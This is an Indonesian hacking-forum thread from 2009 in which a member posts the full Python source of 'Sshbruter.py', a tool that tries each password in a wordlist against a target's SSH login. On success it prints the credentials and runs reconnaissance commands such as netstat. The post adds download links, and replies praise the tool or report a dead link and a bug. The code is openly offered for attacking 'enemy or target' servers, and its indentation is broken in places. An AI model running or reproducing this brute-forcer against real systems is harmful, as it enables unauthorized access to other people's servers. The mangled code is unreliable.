X-code Professional

X-code Community

Facebook group

Instagram X-code

Twitter

X-code Blog

Panel
Welcome! Anonymous

Sshbruter.py (brute forces enemy or target SSH)

[ { NUM_COMMENT }]

Tempat pembahasan dan tutorial penggunaan tools untuk hacking, security dan forensik komputer.

Moderators: Paman, Xshadow, indounderground

Forum rules
Tool yang diupload oleh member tidak diperiksa oleh kami, mungkin saja terinfeksi oleh malware secara disengaja ataupun tidak, saran kami sebaiknya mendownload tool tersebut dari sumber pembuatnya. Bagi yang buat thread diharapkan menampilkan screenshot tool.

Sshbruter.py (brute forces enemy or target SSH)

Postby gunslinger_ » Sat Aug 01, 2009 3:44 am

Sshbruteforce...
c0ding by gunslinger_
visit : http://www.devilzc0de.com...


Code: Select all
#!/usr/bin/python

# This is SSH brute force
# This was written for educational purpose and pentest only. Use it at your own risk.
# VISIT : http://www.devilzc0de.com
# CODING BY : gunslinger_
# EMAIL : gunslinger@devilzc0de.com
# TOOL NAME : Sshbruter.py
# Inspire by : petimati
# Special thanks : mywisdom, petimati, kiddies, flyff666, rotlez, 7460, devil_nongkrong, vie and all devilzc0de family
# Greetz : all member of jasakom.com, jatimcrew.com
# Special i made for jasakom member and devilzc0de family
# Please remember... your action will be logged in target system...
# Author will not be responsible for any damage !!
# Use it with your own risk

import sys, time, os

# check connections...
def handleError(e):
    print "\tSorry connection failed ! please check your internet connection"

# Yeah, we must have best view right ?
if sys.platform == 'linux-i386' or sys.platform == 'linux2' or sys.platform == 'darwin' or sys.platform == 'Linux' :
   bersihlayar = 'clear'
   hapuslog = 'rm -f *.log'
   hapusbak = 'rm *.py~'
else:
   bersihlayar = 'cls'
        hapuslog = 'del *.log'
   hapusbak = 'del *.py~'
   
try:
   import pexpect, pxssh

except(ImportError):
   print "\nYou need the pexpect module." # If you don't have pexpect module check my suggestion link
   print "For more information check it out : http://pexpect.sourceforge.net/pexpect.html or http://wiki.openmoko.org/wiki/Pexpect\n"
   sys.exit(1)

# Here the usefull commands...
# You can add more commands what do you like ... lol ! :D
perintah = 'uname -a' # kernel version...
perintah2 = 'pwd' # path of you now...
perintah3 = 'ls' # do you see what do you lookin' for ? :P
perintah4 = 'netstat -an | grep -i listen' # see what open port on target...
# End of commands


def brute(word):
   print "[?] Trying :",word
        try:
           s = pxssh.pxssh()
           s.login (hostname, user, word, login_timeout=10)
      print "\n\t[!] w00t,w00t you've successfully entering SSH target ! "
      print "\t[!] Username :",user
      print "\t[!] Password :",word, "\n"
      print "\t\n      [!] Gathering detail target information : "
      
      time.sleep(3) # sorry only refresh your box... :P


      # Check usefull commands in line 81 - 84
      # You can change with you're command as you like
      s.sendline(perintah)
           s.prompt()
           print "\n",s.before
      s.sendline(perintah2)
      s.prompt()
      print "\n",s.before
      s.sendline(perintah3)
      s.prompt()
      print "\n",s.before
      s.sendline(perintah4)
      s.prompt()
      print "\n",s.before
           s.logout()
      sys.exit(1)
      # End of commands


      except Exception, e:
      pass
   except KeyboardInterrupt:
      print "\n[-] Quit\n"
      sys.exit(1)
def help ():
   print "\nUsage : ./sshbruter.py <Target hostname/Target IP> <user> <wordlist>"
   print "Eg: ./sshbruter.py 198.162.1.1 root brutewords.txt\n"
   sys.exit(1)

os.system(bersihlayar)
os.system(hapuslog)
os.system(hapusbak)

print "Checking internet connections, please wait alil bit..."
if os.system("ping google.com -c 1"):
   os.system(bersihlayar)
   print "\nmake sure you checked internet connection...\n"
   sys.exit(1)
else:
   os.system(bersihlayar)
   print "NOW YOU'RE CONNECTED TO INTERNET\n"
   time.sleep(1)
   print "3"
   time.sleep(1)
   print "2"
   time.sleep(1)
   print "1\n"
   time.sleep(1)
   print "SYSTEM READY FOR BRUTE FORCE ATTACK !\n"
   time.sleep(3)
   
   # Sorry once more, timer only make you're system always fresh ! lol :D !

os.system(bersihlayar)
print "\n\t==========================================================="
print "\t Sshbruter.py version 1.0                                    "
print "\t Brute forcing SSH target then got control to your target :) "
print "\t Programmmer : gunslinger_                                   "
print "\t gunslinger[at]devilzc0de[dot]com                            "
print "\t===========================================================\n\n"
   
if len(sys.argv) != 4 :
   help()

hostname = sys.argv[1]
user = sys.argv[2]

try:
   words = open(sys.argv[3], "r").readlines()
except(IOError):
     print "\n[-] Error : Please check your wordlist path or file name...\n"
     sys.exit(1)
   print "\n[!] System Activated for brute forcing..."
   print "[!] Please wait until brute forcing finish !\n"
time.sleep(3)
print "[+] Loaded :",len(words),"words"
print "[+] Target :",hostname
print "[+] User :",user
print "[+] BruteForcing...\n"
for word in words:
   
   time.sleep(0.1)
   brute(word.replace("\n",""))




Image

Image

Image

download link http://www.marinir.mil.id/root/ssh_bruter.tar.gz
;) ;) ;) ;) ;) ;) ;) ;) ;)
gunslinger_
 
Posts: 13
Joined: Tue Mar 24, 2009 11:29 am
Location: on last party

Re: Sshbruter.py (brute forces enemy or target SSH)

Postby exops » Sat Aug 01, 2009 9:14 am

ni bwt apa ya ?
bs tlg kasih penjelasan ? gimana cara pakenya dsb
thx
Semakin banyak memberi, semakin banyak menerima
Image
http://exops.info
User avatar
exops
 
Posts: 106
Joined: Sat Mar 07, 2009 1:03 pm
Location: Djogja

Re: Sshbruter.py (brute forces enemy or target SSH)

Postby gunslinger_ » Sat Aug 01, 2009 3:49 pm

ini buat ngebrute force open port ssh bro....
gunslinger_
 
Posts: 13
Joined: Tue Mar 24, 2009 11:29 am
Location: on last party

Re: Sshbruter.py (brute forces enemy or target SSH)

Postby Digital Cat » Sat Aug 01, 2009 7:56 pm

Keren..

Terima Kasih….

Image

Image

Image

Image
User avatar
Digital Cat
 
Posts: 437
Joined: Fri Jun 26, 2009 6:13 pm
Location: USA

Re: Sshbruter.py (brute forces enemy or target SSH)

Postby fortune » Sat Aug 01, 2009 8:56 pm

nice trick
HACKING IS NOT A CRIME BUT IT'S CALLED GAME OF MIND

Image

my yahoo id :
# boelu_kukuz
# monkq_brain
# otak_monyet
# sperm_flood
# poekhanbharu
# phekandbharoe

ett yak
User avatar
fortune
 
Posts: 33
Joined: Wed Apr 16, 2008 10:52 am
Location: monkey business

Re: Sshbruter.py (brute forces enemy or target SSH)

Postby Xshadow » Sat Aug 01, 2009 9:47 pm

link-nya mati bro....
[X]perimental [S]ynthetic [H]umanoid [A]ssembled for [D]estruction and [O]nline [W]arfare
User avatar
Xshadow
 
Posts: 482
Joined: Thu May 31, 2007 8:01 pm
Location: http://captureflags.com

Re: Sshbruter.py (brute forces enemy or target SSH)

Postby gunslinger_ » Sat Aug 01, 2009 9:55 pm

sorry bro... nih ane update download linknya....

http://devilzc0de.com/tools/ssh_bruter.tar.gz
gunslinger_
 
Posts: 13
Joined: Tue Mar 24, 2009 11:29 am
Location: on last party

Re: Sshbruter.py (brute forces enemy or target SSH)

Postby Digital Cat » Mon Aug 03, 2009 4:48 pm

Ada kesalahan dalam pengkodeannya pada bagian

Code: Select all
sys.exit(1)


bisa diperbaiki...

saya belum sempat untuk memperbaikinya...

saya merubahnya hanya dengan format Phyton(.py)..

saat dijalankan error pada kode tersebut..

apa anda bisa memperbaikinya..

Jika anda yang membuat,sudah pasti anda bisa memperbaikinya...

hanya digunakan untuk Phyton saja...

Silahkan konfirmasi pesan ini...

Terima Kasih….

Image

Image

Image

Image
User avatar
Digital Cat
 
Posts: 437
Joined: Fri Jun 26, 2009 6:13 pm
Location: USA

Re: Sshbruter.py (brute forces enemy or target SSH)

Postby Xshadow » Mon Aug 03, 2009 6:16 pm

om kucing keren :mrgreen: :mrgreen:
[X]perimental [S]ynthetic [H]umanoid [A]ssembled for [D]estruction and [O]nline [W]arfare
User avatar
Xshadow
 
Posts: 482
Joined: Thu May 31, 2007 8:01 pm
Location: http://captureflags.com

{ FACEBOOK_COMMENT }

Next

Return to Tools For Hacking - Security & Computer Forensic

Who is online

Users browsing this forum: No registered users and 15 guests